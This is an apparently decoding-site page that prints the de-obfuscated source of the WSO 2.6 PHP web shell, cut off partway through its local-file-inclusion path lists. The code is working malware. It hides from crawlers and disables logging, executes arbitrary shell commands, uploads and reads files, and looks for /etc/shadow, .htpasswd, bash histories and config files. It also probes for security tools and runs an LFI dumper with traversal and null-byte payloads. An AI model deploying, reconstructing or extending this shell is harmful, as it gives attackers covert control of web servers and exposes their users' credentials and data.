Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* WSO [2.6] */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%..
Decoded Output download
session_start();
$password = "";
$passtype = "";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");
if(preg_match('/'.implode('|',$userAgents) .'/i',$_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}}
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION','2.6');
@setcookie("wsog","orb",time()+3600*24*7);
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ?array_map('WSOstripslashes',$array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
}
$dir = md5('index.php' );
if(!empty($password) and $password !== 0) {
if (isset($_POST['pass'])) {
if ($passtype == "MD5") {
$visitorpassword = md5($_POST['pass']);}
elseif ($passtype == "SHA1") {
$visitorpassword = sha1($_POST['pass']);}
else {
$visitorpassword = $_POST['pass'];}
if($visitorpassword == $password){
$_SESSION[$dir] = "OK";}
}
if ( !isset($_SESSION[$dir]) ||($_SESSION[$dir] != "OK") ) {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");}
}
elseif ($password == 0) {
$_SESSION[$dir] = "OK";
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\","/",$home_cwd);
$cwd = str_replace("\","/",$cwd);
}
if( $cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax']))
$_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = (bool)$GLOBALS['default_use_ajax'];
if($os == 'win')
$aliases = array(
"List Directory"=>"dir",
"Find index.php in current dir"=>"dir /s /w /b index.php",
"Find *config*.php in current dir"=>"dir /s /w /b *config*.php",
"Show active connections"=>"netstat -an",
"Show running services"=>"net start",
"User accounts"=>"net user",
"Show computers"=>"net view",
"ARP Table"=>"arp -a",
"IP Configuration"=>"ipconfig /all"
);
else
$aliases = array(
"List dir"=>"ls -lha",
"list file attributes on a Linux second extended file system"=>"lsattr -va",
"show opened ports"=>"netstat -an | grep -i listen",
"process status"=>"ps aux",
"Find"=>"",
"find all suid files"=>"find / -type f -perm -04000 -ls",
"find suid files in current dir"=>"find . -type f -perm -04000 -ls",
"find all sgid files"=>"find / -type f -perm -02000 -ls",
"find sgid files in current dir"=>"find . -type f -perm -02000 -ls",
"find config.inc.php files"=>"find / -type f -name config.inc.php",
"find config* files"=>"find / -type f -name \"config*\"",
"find config* files in current dir"=>"find . -type f -name \"config*\"",
"find all writable folders and files"=>"find / -perm -2 -ls",
"find all writable folders and files in current dir"=>"find . -perm -2 -ls",
"find all service.pwd files"=>"find / -type f -name service.pwd",
"find service.pwd files in current dir"=>"find . -type f -name service.pwd",
"find all .htpasswd files"=>"find / -type f -name .htpasswd",
"find .htpasswd files in current dir"=>"find . -type f -name .htpasswd",
"find all .bash_history files"=>"find / -type f -name .bash_history",
"find .bash_history files in current dir"=>"find . -type f -name .bash_history",
"find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc",
"Locate"=>"",
"locate httpd.conf files"=>"locate httpd.conf",
"locate vhosts.conf files"=>"locate vhosts.conf",
"locate proftpd.conf files"=>"locate proftpd.conf",
"locate psybnc.conf files"=>"locate psybnc.conf",
"locate my.conf files"=>"locate my.conf",
"locate admin.php files"=>"locate admin.php",
"locate cfg.php files"=>"locate cfg.php",
"locate conf.php files"=>"locate conf.php",
"locate config.dat files"=>"locate config.dat",
"locate config.php files"=>"locate config.php",
"locate config.inc files"=>"locate config.inc",
"locate config.inc.php"=>"locate config.inc.php",
"locate config.default.php files"=>"locate config.default.php",
"locate config* files "=>"locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files"=>"locate '.pwd'",
"locate .sql files"=>"locate '.sql'",
"locate .htpasswd files"=>"locate '.htpasswd'",
"locate .bash_history files"=>"locate '.bash_history'",
"locate .mysql_history files"=>"locate '.mysql_history'",
"locate .fetchmailrc files"=>"locate '.fetchmailrc'",
"locate backup files"=>"locate backup",
"locate dump files"=>"locate dump",
"locate priv files"=>"locate priv"
);
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head>
<meta http-equiv='Content-Type' content='text/html; charset=".$_POST['charset'] ."'><title>".$_SERVER['HTTP_HOST'] ." - WSO ".WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
#pre{font.family:Courier,Monospace;}
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '".htmlspecialchars($GLOBALS['cwd']) ."';
var a_ = '".htmlspecialchars(@$_POST['a']) ."'
var charset_ = '".htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '".((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '".((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '".((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var p4_ = '".((strpos(@$_POST['p4'],"md")===false)?'':htmlspecialchars($_POST['p4']('index.php'),ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('".addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
//if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
}else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/",$GLOBALS['cwd']);
$n=count($path);
for($i=0;$i<$n-1;$i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0;$j<=$i;$j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','XSS Shell'=>'XSSShell','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k =>$v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'') .'</span></td>'
.'<td><nobr>'.substr(@php_uname(),0,120) .' </nobr><br>'.$uid .' ( '.$user .' ) <span>Group:</span> '.$gid .' ( '.$group .' )<br>'.@phpversion() .' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
.' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s') .'<br>'.wsoViewSize($totalSpace) .' <span>Free:</span> '.wsoViewSize($freeSpace) .' ('.(int) ($freeSpace/$totalSpace*100) .'%)<br>'.$cwd_links .' '.wsoPermsColor($GLOBALS['cwd']) .' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'] .'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives .'</td>'
.'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets .'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"] .'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'] .'</nobr></td></tr></table>'
.'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu .'</tr></table><div style="margin:5">';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='".$GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td></tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") &&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;}}
if (!function_exists("posix_getgrgid") &&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;}}
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
}elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
}elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
function wsoPerms($p) {
if (($p &0xC000) == 0xC000)$i = 's';
elseif (($p &0xA000) == 0xA000)$i = 'l';
elseif (($p &0x8000) == 0x8000)$i = '-';
elseif (($p &0x6000) == 0x6000)$i = 'b';
elseif (($p &0x4000) == 0x4000)$i = 'd';
elseif (($p &0x2000) == 0x2000)$i = 'c';
elseif (($p &0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p &0x0100) ?'r': '-');
$i .= (($p &0x0080) ?'w': '-');
$i .= (($p &0x0040) ?(($p &0x0800) ?'s': 'x') : (($p &0x0800) ?'S': '-'));
$i .= (($p &0x0020) ?'r': '-');
$i .= (($p &0x0010) ?'w': '-');
$i .= (($p &0x0008) ?(($p &0x0400) ?'s': 'x') : (($p &0x0400) ?'S': '-'));
$i .= (($p &0x0004) ?'r': '-');
$i .= (($p &0x0002) ?'w': '-');
$i .= (($p &0x0001) ?(($p &0x0200) ?'t': 'x') : (($p &0x0200) ?'T': '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>'.wsoPerms(@fileperms($f)) .'</font>';
elseif (!@is_writable($f))
return '<font color=white>'.wsoPerms(@fileperms($f)) .'</font>';
else
return '<font color=#00BB00>'.wsoPerms(@fileperms($f)) .'</font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which '.$p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
echo '<h1>Server security information</h1><div class=content>';
function wsoSecParam($n,$v) {
$v = trim($v);
if($v) {
echo '<span>'.$n .': </span>';
if(strpos($v,"
") === false)
echo $v .'<br>';
else
echo '<pre class=ml1>'.$v .'</pre>';
}
}
wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));
wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir',@ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases',implode(', ',$temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
wsoSecParam('OS version',@file_get_contents('/proc/version'));
wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful',implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger',implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders',implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space',wsoEx('df -h'));
wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));
}
}else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
function actionlfiscan() {
wsoHeader();
print '
<h3>Led-Zeppelin\'s LFI File dumper</h3>
<form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
<option value="1">
Access Log
</option>
<option value="2">
httpd.conf
</option>
<option value="3">
Error Log
</option>
<option value="4">
php.ini
</option>
<option value="5">
MySQL
</option>
<option value="6">
FTP
</option>
<option value="7">
Environ
</option>
</select> Null: <select name="null">
<option value="%00">
Yes
</option>
<option value="">
No
</option>
</select> User-Agent: <input type="text" size="20" name="custom_header" value="">
</form>';
error_reporting(0);
if($_POST['lfiurl']) {
print "<pre>";
$cheader = $_POST['custom_header'];
$target = $_POST['lfiurl'];
$type = $_POST['scantype'];
$byte1 = $_POST['null'];
$lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
$lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
$lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
$lfiaccess = array(
1 =>"../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
2 =>"../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
3 =>"../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
4 =>"../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
5 =>"../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
6 =>"../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
7 =>"../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
8 =>"../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
9 =>"../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
10 =>"../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
11 =>"../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
12 =>"../../../../../../../../../../../../../../var/log/access_log".$byte1."",
13 =>"../../../../../../../../../../../../../../var/log/access.log".$byte1."",
14 =>"../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
15 =>"../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
16 =>"../../../../../../../../../../../../../../logs/access.log".$byte1."",
17 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
18 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
19 =>"../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
20 =>"../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
21 =>"../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
22 =>"../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
23 =>"../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
$lfierror = array(
1 =>"../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
2 =>"../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
3 =>"../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
4 =>"../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
5 =>"../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
6 =>"../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
7 =>"../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
8 =>"../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
9 =>"../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
10 =>"../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
11 =>"../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
12 =>"../../../../../../../../../../../../../../var/log/error_log".$byte1."",
13 =>"../../../../../../../../../../../../../../var/log/error.log".$byte1."",
14 =>"../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
15 =>"../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
16 =>"../../../../../../../../../../../../../../logs/error.log".$byte1."",
17 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
18 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
19 =>"../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
20 =>"../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
21 =>"../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
22 =>"../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
23 =>"../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
$lficonfig = array(
1 =>"../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
2 =>"../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
3 =>"../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
4 =>"../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
5 =>"../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
6 =>"../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
7 =>"../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
8 =>"../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
9 =>"../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
10 =>"../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
11 =>"../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
12 =>"../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
13 =>"../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
14 =>"../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
15 =>"../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
16 =>"../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
17 =>"../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
18 =>"../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
19 =>"../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
20 =>"../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
21 =>"../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
22 =>"../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
23 =>"../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
24 =>"../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
25 =>"../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
26 =>"../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
27 =>"../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
28 =>"../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
29 =>"../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
30 =>"../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
31 =>"../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
32 =>"../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
33 =>"../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
34 =>"../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
35 =>"../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
$lfiphpini = array(
1 =>"../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
2 =>"../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
3 =>"../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
4 =>"../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
5 =>"../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
6 =>"../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
7 =>"../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
8 =>"../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
9 =>"../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
10 =>"../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
11 =>"../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
12 =>"../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
13 =>"../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
14 =>"../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
15 =>"../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
16 =>"../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
17 =>"../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
18 =>"../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
19 =>"../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
20 =>"../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
21 =>"../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
22 =>"../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
23 =>"../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
24 =>"../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
25 =>"../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
26 =>"../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
27 =>"../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
$lfimysql = array(
1 =>"../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
2 =>"../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
3 =>"../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
4 =>"../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
5 =>"../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
6 =>"../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
7 =>"../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
8 =>"../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
